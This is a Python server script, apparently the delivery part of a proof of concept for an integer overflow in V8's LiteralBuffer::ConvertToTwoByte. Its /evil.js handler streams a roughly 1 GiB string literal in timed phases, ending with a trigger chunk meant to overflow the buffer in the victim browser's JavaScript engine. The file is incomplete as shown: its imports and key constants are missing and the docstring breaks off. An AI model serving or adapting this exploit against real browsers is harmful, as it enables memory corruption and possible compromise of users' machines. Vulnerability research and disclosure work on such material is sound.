#!/usr/bin/env python3 """ HTTP server for the LiteralBuffer::ConvertToTwoByte integer-overflow POC. Serves: /poc.html - landing page with """ class Handler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" def do_GET(self): if self.path == "/poc.html" or self.path == "/": self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(POC_HTML))) self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(POC_HTML) return if self.path == "/evil.js": self.send_response(200) self.send_header("Content-Type", "application/javascript; charset=utf-8") self.send_header("Content-Length", str(TOTAL_LEN)) self.send_header("Cache-Control", "no-store") self.end_headers() try: # Reduce kernel buffering so our sleep() actually marks a # chunk boundary at the far end. self.connection.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) except OSError: pass # ---- Phase 1: '"' + 0x3FFFFFFF 'A' bytes (== 0x40000000 bytes) self.wfile.write(b'"') remaining = PHASE1_LEN - 1 sent = 1 t0 = time.monotonic() while remaining > 0: n = min(remaining, len(CHUNK)) self.wfile.write(CHUNK[:n]) remaining -= n sent += n if sent % (64 << 20) == 1: sys.stderr.write( f"[server] evil.js: sent {sent >> 20} / " f"{PHASE1_LEN >> 20} MiB " f"({time.monotonic() - t0:.1f}s)\n") self.wfile.flush() sys.stderr.write( f"[server] evil.js: phase 1 complete " f"({time.monotonic() - t0:.1f}s) -- sleeping " f"{TRIGGER_DELAY_SEC}s before trigger\n") # ---- Let V8 fully drain phase 1. time.sleep(TRIGGER_DELAY_SEC) # ---- Phase 2: one more 'A' + "\u0100" + closing quote. sys.stderr.write("[server] evil.js: sending trigger chunk\n") self.wfile.write(PHASE2) self.wfile.flush() return self.send_response(404) self.send_header("Content-Length", "0") self.end_headers() def log_message(self, fmt, *args): sys.stderr.write("[server] " + (fmt % args) + "\n") if __name__ == "__main__": httpd = HTTPServer(("127.0.0.1", PORT), Handler) sys.stderr.write(f"[server] listening on http://127.0.0.1:{PORT}/poc.html\n") httpd.serve_forever()